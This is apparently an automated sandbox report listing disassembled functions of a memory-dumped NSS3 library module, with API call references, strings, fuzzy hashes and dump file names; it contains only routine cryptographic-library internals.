Instruction ID: d7be6027af84947ec4cf6e0993a55e059779eff6092d0fba06bdb29ceb3e0530
Opcode Fuzzy Hash: ffe406b8ed535d12a0985b96a978f4b3b4a2012a6fff6a98bf27ebd2eed82d97
Instruction Fuzzy Hash: BB313475E00105EBEB106F68EC4497AB774EF1525CB248138EC1887B11EB32DC64C7E1

Function 6CE91EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE76295,?,00000000,?,00000001,S&l,?), ref: 6CE91ECB

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE76295,?,00000000,?,00000001,S&l,?), ref: 6CE91EF1
EnterCriticalSection.KERNEL32(?), ref: 6CE91F01
PR_SetError.NSS3(00000000,00000000), ref: 6CE91F39

Part of subcall function 6CE9FE20: TlsGetValue.KERNEL32(6CE75ADC,?,00000000,00000001,?,?,00000000,?,6CE6BA55,?,?), ref: 6CE9FE4B
Part of subcall function 6CE9FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE9FE5F

PR_Unlock.NSS3(?), ref: 6CE91F67

Strings

S&l, xrefs: 6CE91EA0

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: 98d5bdc1e507337f7bf730de31ef514b6edba8172bc677f1cf92ec550c76d891
Instruction ID: 83241429357770206cc84c9b6ef7f2d52cb6921ac4b89c53c8ae7f2bac3dd4d6
Opcode Fuzzy Hash: 98d5bdc1e507337f7bf730de31ef514b6edba8172bc677f1cf92ec550c76d891
Instruction Fuzzy Hash: 3221F275E00208ABEB10AEA9EC46B9A377DEF413ACF344168FD1987B01E731D95586E0

Function 6CEBCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEBCD93,?), ref: 6CEBCEEE

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEBCD93,?), ref: 6CEBCEFC

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEBCD93,?), ref: 6CEBCF0B

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEBCD93,?), ref: 6CEBCF1D

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEBCD93,?,?,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF78

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 8acd0375f8b0398aa6fe80c55b52d5da36afd898f5070289aa864ea4efd007cd
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: E311C0A1B042045BEB00AAA66E42B7BB5FC9F4415DF20407DA819EB741FB70DA0886B1

Function 6CE68C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE68C1B
EnterCriticalSection.KERNEL32 ref: 6CE68C34
PL_ArenaAllocate.NSS3 ref: 6CE68C65
PR_Unlock.NSS3 ref: 6CE68C9C
PR_Unlock.NSS3 ref: 6CE68CB6

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Strings

KRAM, xrefs: 6CE68C8F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 1a3f1058190d75f8a353a9ea9d68262119b933e9ae24bc78a276efe99c5e0199
Instruction ID: 6e170d5f109525804790fbbbc71bd85fa3fe7ea7c39faaab928e4ed5b7409002
Opcode Fuzzy Hash: 1a3f1058190d75f8a353a9ea9d68262119b933e9ae24bc78a276efe99c5e0199
Instruction Fuzzy Hash: 5D21A6B1A556018FD700AF79C484659FBF4FF46308F25896ED884CBB01DB31D886CB92

Function 6CE78E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EA2

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EC3
TlsGetValue.KERNEL32(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE78EF1
PR_Unlock.NSS3 ref: 6CE78F20

Strings

b.l, xrefs: 6CE78E96, 6CE78F25

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 7e862cae44fc081cc7e3b9204beae38187fbb01cf4bc22eae89b62a5f7a1bb03
Instruction ID: 3f640329cdd67cb5bc0208bdc672e7ac21d32093b10f2d91014fd8faccbb46eb
Opcode Fuzzy Hash: 7e862cae44fc081cc7e3b9204beae38187fbb01cf4bc22eae89b62a5f7a1bb03
Instruction Fuzzy Hash: 562180709097059FD720AF29D484699BBF0FF48368F51456EEC98A7B41D730E854CBE2

Function 6CEE3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_EnterMonitor.NSS3(?), ref: 6CEE3E45

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

PR_EnterMonitor.NSS3(?), ref: 6CEE3E5C
PR_EnterMonitor.NSS3(?), ref: 6CEE3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CEE3EA6

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_ExitMonitor.NSS3(?), ref: 6CEE3EC0
PR_ExitMonitor.NSS3(?), ref: 6CEE3ED7
PR_ExitMonitor.NSS3(?), ref: 6CEE3EEE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 317d2ef9a75419b97a582bf9ac373c5731ea4920809eca2fcedb2b80c0ee5631
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 7A11A575514700AFDB319A29FC02BC7B7B1DB45348F204824E55A87A30E632E929C783

Function 6CF62C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF62CA0
PR_ExitMonitor.NSS3 ref: 6CF62CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF62CD1
strdup.MOZGLUE(?), ref: 6CF62CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF62D27

Strings

Loaded library %s (static lib), xrefs: 6CF62D22

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 0fb2ec2b9bfd6f13609693c2b97ce89cf659e301a27bce2624cee644ebd22651
Instruction ID: 07a72626c783a051896903950ba8a524fcc56f7ea6a102f3a92dc0893746730a
Opcode Fuzzy Hash: 0fb2ec2b9bfd6f13609693c2b97ce89cf659e301a27bce2624cee644ebd22651
Instruction Fuzzy Hash: 7011EFB1A102119FEB408F2AD884B6A77B5AB4635DF14C13DD809C7F41E733E808CBA1

Function 6CE568E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE568FB
EnterCriticalSection.KERNEL32 ref: 6CE56913
PORT_FreeArena_Util.NSS3 ref: 6CE5693E
PR_Unlock.NSS3 ref: 6CE56946
DeleteCriticalSection.KERNEL32 ref: 6CE56951
free.MOZGLUE ref: 6CE5695D
PR_Unlock.NSS3 ref: 6CE56968

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: d30c17238b7b0a6858e09ecc077ec24648a2337062d3997843e10d7b4ecf7bd1
Instruction ID: 6883d30c7d1eab3c5a1aff51593f1faf1fe40e3e173708b068730ee30964a137
Opcode Fuzzy Hash: d30c17238b7b0a6858e09ecc077ec24648a2337062d3997843e10d7b4ecf7bd1
Instruction Fuzzy Hash: B9117CB4A047058FDB00AFB8D08866DBBF8BF02258F11452CD898DB701EB32D499CB92

Function 6CE5BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5BDCA

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BDDB

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BDEC

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE5BE03

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5BE3B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 935048b95a006725f998e40a79943bf2f93f8fef4ce20f2f9c41ad6277e42147
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: DA012BA5F4160566F61013A66C01F6766688F5129DF780038EE04AAB82FF62E12A82B6

Function 6CEB0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B
TlsGetValue.KERNEL32(00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1044
free.MOZGLUE(00000000,?,00000800,6CE4EF74,00000000), ref: 6CEB1064

Strings

security, xrefs: 6CEB1025

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 1feba3d57ce01097ffaa8c045d5b8f0ada6ef12553fa7feabd579766b24846c5
Instruction ID: e8411510a5a1b0e351f25397414f1cfbf7463c7d495852bd5c33621c07031d51
Opcode Fuzzy Hash: 1feba3d57ce01097ffaa8c045d5b8f0ada6ef12553fa7feabd579766b24846c5
Instruction Fuzzy Hash: 4E014831A1025097E7602FACAE04B767678BF077A8F214129E808E6A51EB71C115DBD1

Function 6CEE1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEE1C74

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CEE1C92
free.MOZGLUE(?), ref: 6CEE1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CEE1CCB
free.MOZGLUE(?), ref: 6CEE1CD2

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 04f91210f12b2ac95b1038488f9cb60dd26c3031a3f913661766e6ac3ebf05bd
Instruction ID: 58ccefd6854b92adfec43d983046822978aa110ebac2cf691acd8c6f5a596f4b
Opcode Fuzzy Hash: 04f91210f12b2ac95b1038488f9cb60dd26c3031a3f913661766e6ac3ebf05bd
Instruction Fuzzy Hash: 1101D6B1F216119FEF64AFE4DC4DB4977B8A70B358F200124E50AE6B41D323E1454795

Function 6CEF2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEF3046

Part of subcall function 6CEDEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEC7FFB), ref: 6CEF312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEF3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEF2E8B

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

Part of subcall function 6CEDF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEC9BFF,?,00000000,00000000), ref: 6CEDF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEC7FFA), ref: 6CEF2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF317B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 7e43159f1484fef866f3f9ccf08d84a49667395ebd8cf488201de37c28908dfa
Instruction ID: 5b690a513e9cfb7eb0e8457a4326e0f006569d453a1a09c8e8b5e91cf80ed92a
Opcode Fuzzy Hash: 7e43159f1484fef866f3f9ccf08d84a49667395ebd8cf488201de37c28908dfa
Instruction Fuzzy Hash: D3A1D172A002189FDB24CF54CC85BEAB7B5EF45308F248099ED596B741E731AE46CF91

Function 6CEBED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEBED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEBEDCE

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

free.MOZGLUE(00000000,?,?,?,?,6CEBB04F), ref: 6CEBEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEBEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEBEEFB

Memory Dump Source

